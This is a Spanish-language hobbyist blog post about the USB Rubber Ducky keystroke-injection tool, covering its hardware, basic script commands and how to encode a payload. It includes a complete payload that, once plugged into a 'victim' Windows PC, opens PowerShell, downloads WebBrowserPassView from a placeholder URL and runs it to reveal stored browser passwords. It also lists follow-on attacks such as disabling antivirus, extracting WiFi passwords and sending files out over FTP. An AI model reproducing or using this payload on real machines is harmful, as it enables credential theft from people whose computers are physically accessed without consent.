Me pareció ver un lindo patito: USB Rubber Ducky

Hace poco estuve trasteando con un juguetito nuevo que me regalaron y se trata del USB Rubber Ducky. Sí, con qué poco se puede mantener a un friki entretenid@ durante días! (Señores Reyes Magos, este año he sido muy buena también, ejem ejem).

De forma resumida, USB Rubber Ducky es una herramienta hardware de hacking, internamente tiene un procesador, aunque a simple vista parece un USB, aunque emula ser un teclado, de tal forma que cuando se conecta a un ordenador/dispositivo éste lo reconoce como un teclado y ejecuta las instrucciones que tenga cargadas en una memoria SD que lleva.

USB Rubber Ducky se puede comprar a través de Hak5 y el contenido es el mostrado en la  Ilustración 1.

rd0

Ilustración 1: Contenido USB Rubber Ducky

 De izquierda a derecho tenemos las siguientes partes:

  1. Adaptador de USB micro-B
  2. Adaptador o lector de tarjetas microSD
  3. USB Rubber Ducky
  4. Tarjeta micro-SD
  5. Carcasa de USB

Las especificación del USB Rubber Ducky se pueden ver en la Ilustración 2.

rd1

 Ilustración 2: Detalles técnicos del USB Rubber Ducky

¿Que es Rubber Ducky?

USB Rubber Ducky es un dispositivo HID (Human Interface Device) o dispositivo de interfaz humana, es decir dispositivos de entrada y salida que permite la interacción con un ordenador, y en concreto, USB Rubber Ducky es detectado como un teclado en cualquier sistema operativo donde lo conectemos (Windows, Linux, OSX y Android).

USB Rubber Ducky utiliza un código de programación sencillo y mediante un editor de texto se pueden crear los payloads. A modo de ejemplo, tenemos las siguientes instrucciones:

  • WINDOWS r: Abrir la ventana de Ejecutar de Windows
  • STRING cadena de texto: mediante la instrucción STRING se da la orden de lo que se quiere escribir, en este caso escribiría “cadena de texto” (sin comillas).
  • ENTER: emula la tecla Intro.

¿Cómo funciona?

  1. Lo primero que debemos hacer es insertar la tarjeta microSD en el adaptador/lector de tarjetas, que es donde cargaremos el payload.
  2. Escribiremos el payload en un fichero de texto.
  3. Cargaremos el payload en la tarjeta MicroSD.Para ello utilizamos el Encoder para compilar y cargar el payload que hemos desarrollado. La ultima versión disponible del Encoder es la versión 2.6.3 y se puede encontrar aquí, el cual está basado en Java y debemos tener instalado.La instrucción para cargar el payload en la tarjeta SD sería la siguiente:
    javar –jar duckyencoder.jar –i nuestropayload.txt –o /rutaUSB/inject.bin –l resources es.properties
    
    -i: input del payload de entrada.
    -o: ruta hacia la tarjeta microSD donde cargaremos el payload, por defecto el nombre es inject.bin.
    -l: parámetro de configuración del idioma del teclado.
    

    Dentro de la carpeta Encoder tenemos una carpeta llamada Resources con los idiomas disponibles de configuración del teclado. Si no se especifica idioma, por defecto utiliza us.properties.

    Otras opciones para compilar el payload es mediante interfaz gráfica con EncoderGUI y también a través de este generador online.

  4. Una vez se ha generado correctamente el binario, colocaremos la microSD en el USB Rubber Ducky.
  5. Ya lo tenemos todo listo, ya sólo nos queda conectar el USB Rubber Ducky en el ordenador victima y dejar que se ejecute automáticamente el binario.

Caso de ejemplo

Como ejemplo, vamos a crear un payload que consiste en mediante una consola de comandos de Windows, descargar el programa WebBrowserPassView de Nirsoft, el cual permite ver en texto plano todas las contraseñas almacenadas en los navegadores.

El payload seria el siguiente:

REM Target: Windows 7
REM Descarga de un fichero exe y la ejecución del mismo
DELAY 3000
REM --> Minimizar todas las ventanas
WINDOWS d
REM --> Abrir consola de Windows cmd
WINDOWS r
DELAY 500
STRING cmd.exe
ENTER
DELAY 500
STRING powershell
ENTER
DELAY 500
STRING $src="http://URL"
ENTER
STRING $dst="$env:userprofile\browserpassview.exe"
ENTER
STRING (New-Object System.Net.WebClient).DownloadFile($src, $dst)
ENTER
DELAY 500
STRING exit
ENTER
STRING %USERPROFILE%\browserpassview.exe
ENTER
DELAY 500
ENTER
DELAY 100

Nota: URL: se debe sustituir por la URL desde donde descargaremos WebBrowserPassView.exe.

Aunque este es un sencillo ejemplo, tenemos muchas posibilidades, como por ejemplo: extraer información de la WIFI, extraer passwords de los usuarios del equipo, desactivar antivirus y firewall, enviar ficheros por FTP, cargar un script con powershell, realizar fotografías con la webcam, y un largo etcétera.

Espero que os haya parecido interesante para quien no lo conociera. Como he comentado también podemos cargar payloads para OSX, Linux y Android, aunque todavía estoy en proceso de probarlo, pero que en futuros posts os contaré las novedades, por supuesto!

Y para finalizar, el resultado tras la ejecución de este gracioso payload que espero que tengáis en cuenta :)

rd2